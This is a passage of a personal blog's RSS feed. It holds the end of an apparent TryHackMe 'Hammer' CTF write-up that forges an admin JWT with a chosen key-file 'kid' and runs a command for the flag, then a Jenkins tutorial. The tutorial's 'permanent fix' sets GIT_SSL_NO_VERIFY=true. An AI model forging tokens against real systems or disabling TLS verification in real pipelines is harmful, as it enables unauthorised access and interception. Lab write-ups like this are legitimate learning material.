&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;user_id&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;tester@hammer.thm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Developer might have not included kid, and role in the token itself. Lets make use of vulnerability by making new token with our own kid, and role using url: &lt;a href="https://xjwt.com"&gt;https://xjwt.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;We will use key, already present at the root directory of website &lt;code&gt;kid: /var/www/html/188ade1.key&lt;/code&gt; and &lt;code&gt;role: admin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Headers
{
 &amp;#34;typ&amp;#34;: &amp;#34;JWT&amp;#34;,
 &amp;#34;alg&amp;#34;: &amp;#34;HS256&amp;#34;,
 &amp;#34;kid&amp;#34;: &amp;#34;/var/www/html/188ade1.key&amp;#34;
}
# Payload
{
 &amp;#34;iss&amp;#34;: &amp;#34;http://hammer.thm&amp;#34;,
 &amp;#34;aud&amp;#34;: &amp;#34;http://hammer.thm&amp;#34;,
 &amp;#34;iat&amp;#34;: 1769878501,
 &amp;#34;exp&amp;#34;: 1769882101,
 &amp;#34;data&amp;#34;: {
 &amp;#34;user_id&amp;#34;: 1,
 &amp;#34;email&amp;#34;: &amp;#34;tester@hammer.thm&amp;#34;,
 &amp;#34;role&amp;#34;: &amp;#34;admin&amp;#34;
 }
}
# Key
56058354efb3daa97ebab00fabd7a7d7
# Generated token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzY5ODc4NTAxLCJleHAiOjE3Njk4ODIxMDEsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.beXn8RMbKeq8qgAMvkKPZ86IZ7nc4IpeYMv7v9jJXUo
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Lets make use of this new token in captured request on repeater of burp suit, and run &lt;code&gt;cat /home/ubuntu/flag.txt&lt;/code&gt; command there.&lt;/li&gt;
&lt;li&gt;It will reveal the second Flag.&lt;/li&gt;
&lt;li&gt;Yeah that&amp;rsquo;s it, We solved CTF.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>About</title><link>https://silent-resistor.github.io/about/</link><pubDate>Sun, 25 Jan 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/about/</guid><description>&lt;h2 id="-whoami"&gt;&amp;gt; whoami&lt;/h2&gt;
&lt;p&gt;silent_resistor&lt;/p&gt;
&lt;h2 id="-cat-bio"&gt;&amp;gt; cat ~/.bio&lt;/h2&gt;
&lt;p&gt;I live in the quite space between building resilient systems and figuring out how they break.&lt;/p&gt;
&lt;p&gt;By day, I am a Devops engineer architecting private clouds and wrangling automation to withstand the chaos of enterprise environments. By night, I switch sides, trying to understand how those same systems can be dismantled.&lt;/p&gt;
&lt;p&gt;Despite what the degree on my wall or the title on my resume says, I am often just a guy staring at a blinking cursor at 3 AM, wondering why my packets are ghosting me. I&amp;rsquo;m not an advanced malware developer (yet) - Just a student of the craft who knows the thrill of a Metasploit shell, and the peotic irony of code doing exactly what it was never supposed to do.&lt;/p&gt;</description></item><item><title>Jenkins</title><link>https://silent-resistor.github.io/resources/devsecops/jenkins/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/devsecops/jenkins/</guid><description>&lt;h2 id="1-few-questions"&gt;1. Few Questions&lt;/h2&gt;
&lt;h3 id="11-can-you-integrate-the-jenkins-with-the-bitbucket-and-create-the-multibranch-pipeline-"&gt;1.1 Can you integrate the jenkins with the Bitbucket and create the multibranch pipeline ?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Integrating your on-presise bitbucket server with Jenkins is great move, allows jenkins to automatically detect new branches, trigger builds when developers push code, and report build status (pass/fail) directly back to Bibucket PR UI.&lt;/li&gt;
&lt;li&gt;Here is Straight forward way to getting Bitbucket and jenkins talking to each other natively.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="111-generate-a-token-in-bitbucket-server"&gt;1.1.1 Generate a token in Bitbucket server&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Create Bot account with minimum permissions (alteast read, if possible write operation to allow jenkins to put green or red checkmarks next to our commits in Bitbucket)&lt;/li&gt;
&lt;li&gt;Create the Personal access token with above account, name it something like &lt;code&gt;jenkins-bot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Copy the token and keep it somewhere safe.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="112-install-required-plugins-in-the-jenkins"&gt;1.1.2 Install required plugins in the Jenkins&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;- Install Plugins like `Bitbucket`, `Bitbucket Branch Source Plugin` Using Jenkins plugin manager.
- Restart the Jenkins
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="113-add-token-to-jenkins-credentials"&gt;1.1.3 Add Token to Jenkins credentials&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;- Go to `manage jenkins` -&amp;gt; `credentials`
- Click into `System` store, then `Global credentials`, click `add credentials`
- For the Kind, select `username with password`
 - Username: Bitbucket bot useranme
 - Password; paster the Personal access token you have copied earlier.
 - ID/Description: Name it `bitbucket-server-token`, so its easy to find later.
 - Click `Create`
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="114-configure-the-server-connection"&gt;1.1.4 Configure the Server Connection&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Lets tell jenkins where your bitbucket server lives&lt;/li&gt;
&lt;li&gt;Go to &lt;code&gt;Maanage&lt;/code&gt; -&amp;gt; &lt;code&gt;System&lt;/code&gt; -&amp;gt; &lt;code&gt;Bitbucket endpoints&lt;/code&gt; -&amp;gt; &lt;code&gt;Add&lt;/code&gt; -&amp;gt; &lt;code&gt;Bitbucket server&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Enter name and your server URL (exampel, &lt;a href="https://bitbucket.xxx.local"&gt;https://bitbucket.xxx.local&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;From the dropdown menu, select the credentials you just created.&lt;/li&gt;
&lt;li&gt;Click &lt;code&gt;Test Connection&lt;/code&gt;. If everything is correct, you will see a success message. If it is, great.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;but from my personal experiance, most of the time, if your on-premise bitbucker server&amp;rsquo;s TLS/SSL configuration has done with self-signed (internal CA) certificate, the Java environment that runs the jenkins say &lt;em&gt;I dont know who signed this cerificate, so i refuse to talk to this server.&lt;/em&gt; and it will fail with below error during the connection test.
&lt;pre tabindex="0"&gt;&lt;code&gt;PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Because the jenkins plugin uses java to make API calls to bitbucket, we have to tell jenkins underlying java runtime to trust our self signed certificate. Lets inject this certificate into jenkins java truststore.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Download the bitbucket public certficate and save it jenkins server.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;openssl s_client --connect bitbucket.xxx.local:443 &amp;lt; /dev/null 2&amp;gt;/dev/null | openssl x509 -outform PEM &amp;gt; bitbucket-cert.pem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Locate the jenkins Java keystore&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Look at the path to `java` executable in the jenkins process, just like `/usr/lib/jvm/java-17-openjdk-amd64/bin/java`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# in this case, the java keystore is at `/usr/lib/jvm/java-17-openjdk-amd64/lib/security/cacerts`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ps -ef | grep jenkins
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Import the bitbucket certificate to the java keystore using `keytool`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Please note that the default password for the java keystore is `changeit`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# It will prompt you for keystore password, Type: chageit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo keytool -importcert -alias bitbucket-internal-cert -keystore /usr/lib/jvm/java-17-openjdk-amd64/lib/security/cacerts -file bitbucket-cert.pem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# lets restart jenkins&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart jenkins
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Fixing the javakeystore, resolves the API communication issues, and jenkins plugin finally see your bitbucket branches.&lt;/li&gt;
&lt;li&gt;However, when the pipeline actually runs and tries to execute &lt;code&gt;git clone&lt;/code&gt;, the Git CLI on server might also rejects the certificate because GIT uses the OS-level trust, not Java&amp;rsquo;s anymore.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quick fix with UI&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;To fix this, we will force the jenkins to apply equivalnet of &lt;code&gt;http.sslVerify false&lt;/code&gt; across the board without messing with the command lines on the server.&lt;/li&gt;
&lt;li&gt;Go to Manage -&amp;gt; System -&amp;gt; Global properties -&amp;gt; Environment variables&lt;/li&gt;
&lt;li&gt;Add a new variable with name &lt;code&gt;GIT_SSL_NO_VERIFY&lt;/code&gt; and value &lt;code&gt;true&lt;/code&gt;, and save it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proper Fix with CA Bundle&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;if its debian based linux&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo cp bitbucket-cert.pem /usr/local/share/ca-certificates/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo update-ca-certificates&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;if its redhat based linux&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo cp bitbucket-cert.pem /etc/pki/ca-trust/source/anchors/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo update-ca-trust extract&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;yeah, thats it, restart the server with &lt;code&gt;systemctl restart jenkins&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permanent fix&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo systemctl edit jenkins&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Add the following content: &lt;code&gt;Environment=&amp;quot;GIT_SSL_NO_VERIFY=true&amp;quot;&lt;/code&gt; under &lt;code&gt;[Service]&lt;/code&gt; section&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo systemctl daemon-reload&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo systemctl restart jenkins&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="115-create-multi-branch-pipeline-in-jenkins"&gt;1.1.5 Create Multi-branch Pipeline in Jenkins&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Go to Jenkins -&amp;gt; New Item -&amp;gt; Multi-branch Pipeline -&amp;gt; Give a name -&amp;gt; Create it.&lt;/li&gt;
&lt;li&gt;Add bitbucket as the source:
&lt;ul&gt;
&lt;li&gt;Click add source -&amp;gt; Bitbucket (Assuming you have instlalled required plugins earlier)&lt;/li&gt;
&lt;li&gt;Now you may see a dropdown for your bitbucket server, select it.&lt;/li&gt;
&lt;li&gt;Just type in your project key and select your repository from the dropdown.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now, to avoid the infinite loop of branch discovery, we need to configure the scan and git clone strategies.
&lt;ul&gt;
&lt;li&gt;Now look for Behaviours selection, just below repository name, and click &lt;code&gt;Add&lt;/code&gt; button there.&lt;/li&gt;
&lt;li&gt;Lets add &lt;code&gt;Discover branches&lt;/code&gt; trait, and that set to &lt;code&gt;All branches&lt;/code&gt;,not just pull requests.&lt;/li&gt;
&lt;li&gt;Select the &lt;code&gt;Filter by name (with wildcards)&lt;/code&gt; option, and enter &lt;code&gt;main&lt;/code&gt; or &lt;code&gt;master&lt;/code&gt; in the include box, and leave the exclude box empty for the time being.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;click and save the configuration.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="116-create-jenkinsfile-and-now-push-it-to-the-repository"&gt;1.1.6 Create Jenkinsfile and now push it to the repository&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Create a &lt;code&gt;Jenkinsfile&lt;/code&gt; in the root of your repository and push it to &lt;code&gt;main&lt;/code&gt; branch.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-groovy" data-lang="groovy"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pipeline &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; agent any
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stages &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stage&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;Run tests&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; steps &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// if you have make target for tests, just run it exactly as you would from your terminal
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sh &lt;span style="color:#e6db74"&gt;&amp;#39;make run-tests&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stage&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;Build Artifact&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; steps &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// again, just trigger your build tool
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sh &lt;span style="color:#e6db74"&gt;&amp;#39;make build&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stage&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;Publish to artifactory&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; steps &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// grabs any jar file from target directory, and save it as an artifact in jenkins
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; archiveArtifacts artifacts: &lt;span style="color:#e6db74"&gt;&amp;#39;target/*.jar&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; allowEmptyArchive: &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// lets also push it to artifactory
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; withCredentials&lt;span style="color:#f92672"&gt;([&lt;/span&gt;usernamePassword&lt;span style="color:#f92672"&gt;(&lt;/span&gt;credentialsId: &lt;span style="color:#e6db74"&gt;&amp;#39;artifactory-credentials&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; usernameVariable: &lt;span style="color:#e6db74"&gt;&amp;#39;ARTIFACTORY_USER&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; passwordVariable: &lt;span style="color:#e6db74"&gt;&amp;#39;ARTIFACTORY_PASSWORD&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)])&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sh &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; curl -u $ARTIFACTORY_USER:$ARTIFACTORY_PASSWORD -X PUT &amp;#34;http://artifactory.example.com/artifactory/my-repo/my-app.jar&amp;#34; -T target/my-app.jar
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; post &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; always &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// clean up any artifacts or temporary files
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cleanWs&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="117-trigger-the-pipeline"&gt;1.1.7 Trigger the pipeline&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Go to your multi-branch pipeline and click &lt;code&gt;Build Now&lt;/code&gt; to trigger the pipeline.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-ok-do-you-aware-how-do-we-configure-ldap-authentication-in-jenkins"&gt;1.2 Ok, do you aware how do we configure LDAP authentication in Jenkins?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;To configure LDAP authentiacation, we need the official, core plugin simply named &lt;code&gt;LDAP&lt;/code&gt;, please download it from jenkins plugin manager.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CRITICAL WARNING:&lt;/strong&gt; Keep current jenkins browser open and do this in second tab. if you configure LDAP incorrectly and hit save, you will instantly lock yourself out of jenkins.&lt;/li&gt;
&lt;li&gt;Go to Manage Jenkins &amp;ndash;&amp;gt; Security &amp;ndash;&amp;gt; Under &amp;ldquo;Authentication&amp;rdquo; section, change it from &amp;ldquo;Jenkins&amp;rsquo; own user database&amp;rdquo; to &amp;ldquo;LDAP&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Server: Your LDAP server URL. eg: &lt;code&gt;ldap://ldap.example.com:389&lt;/code&gt; (or &lt;code&gt;ldaps://ldap.example.com:636&lt;/code&gt; for SSL)&lt;/li&gt;
&lt;li&gt;Configuring search rules:
&lt;ul&gt;
&lt;li&gt;root DN: Base of your directory tree. eg: &lt;code&gt;dc=example,dc=com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;User search base: this is the folder where users live, leave it blank if they are just sitting on root, but usually they are in an organizational unit (OU). eg: &lt;code&gt;ou=users&lt;/code&gt; ( or &lt;code&gt;ou=people&lt;/code&gt; )&lt;/li&gt;
&lt;li&gt;User search filter: Search filter to find users. eg: &lt;code&gt;uid={0}&lt;/code&gt; (or &lt;code&gt;cn={0}&lt;/code&gt; if directory uses &lt;code&gt;cn&lt;/code&gt; for usernames instead of &lt;code&gt;uid&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Setup Manager: Jenkins need account to search the directlory before it can log anyone in.
&lt;ul&gt;
&lt;li&gt;Manager DN: Service account to search the directory. eg: &lt;code&gt;cn=admin,dc=example,dc=com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Manager Password: Password for the service account. eg: &lt;code&gt;admin_password&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Run Test correctly:
&lt;ul&gt;
&lt;li&gt;Username: do not type &lt;code&gt;cn=admin...&lt;/code&gt;, just type short username,if you want to test the admin, just type &lt;code&gt;admin&lt;/code&gt; (assuming filter is &lt;code&gt;cn={0}&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Password: Password for the user you typed above.&lt;/li&gt;
&lt;li&gt;Hit test again, Because you provided the Manager DN, jenkins will log in securely in background, search for &lt;code&gt;cn=admin&lt;/code&gt;, find their real DN, and then test their password.&lt;/li&gt;
&lt;li&gt;You should see a green sucess with their group membership.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="13-do-you-aware-how-do-we-clone-a-multi-branch-pipeline-job-in-jenkins-"&gt;1.3 Do you aware how do we clone a multi-branch pipeline job in Jenkins ?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;There were actually few ways to do this, ranging from a hidden UI feature to the exact export/iport trick.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="131-the-hidden-clone-button"&gt;1.3.1 The Hidden Clone Button:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Jenkins actually does have a built in clone feature, but they did hid it in most unintuitive place possible. you dont click on your existing job to clone it, instead you have to pretend you are making a new one.&lt;/li&gt;
&lt;li&gt;Go to Dashboard &amp;ndash;&amp;gt; New Item &amp;ndash;&amp;gt; Give it a name&lt;/li&gt;
&lt;li&gt;Ignore all teh project types in middle, instead scroll to the absolute bottom of the page, you will a see text box labeled &amp;ldquo;Copy from&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Start typing the exact name of the existing good multibranch pipeline, it will auto complete.&lt;/li&gt;
&lt;li&gt;select it and click ok.&lt;/li&gt;
&lt;li&gt;Jenkins will instantly duplicate the entire configuration of your exising pipeline into new one. All you have to do this, is change the bitbucket repository name, hit save, and done.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="132-the-exportimport-hack-the-xml-way"&gt;1.3.2 The Export/Import Hack (The XML way):&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Underneath the ugly UI, every single jenkins job is literally a single file called &lt;code&gt;config.xml&lt;/code&gt;, we can downlaod it, change the repository name, upload it back to create a new job.&lt;/li&gt;
&lt;li&gt;Go to your working multibranch pipeline job page.&lt;/li&gt;
&lt;li&gt;Look at the URL in your address bar (eg: https://your-jenkins/job/my-awesome-pipeline/)&lt;/li&gt;
&lt;li&gt;Simply add &lt;code&gt;config.xml&lt;/code&gt; to the end of the URL (eg: https://your-jenkins/job/my-awesome-pipeline/config.xml)&lt;/li&gt;
&lt;li&gt;It will display the raw XML code, save it locally in your computer. lets say &lt;code&gt;new-awesome-pipeline.xml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Open &lt;code&gt;new-awesome-pipeline.xml&lt;/code&gt;, change the repository name, and replace it with new one, and save it.&lt;/li&gt;
&lt;li&gt;Lets use curl to push it back to jenkins as a brand-new job. Once done, it just boom, your new job is ready to go.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -X POST &lt;span style="color:#e6db74"&gt;&amp;#34;https://your-jenkins/createItem?name=new-awesome-pipeline&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#34;admin:admin_api_token&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
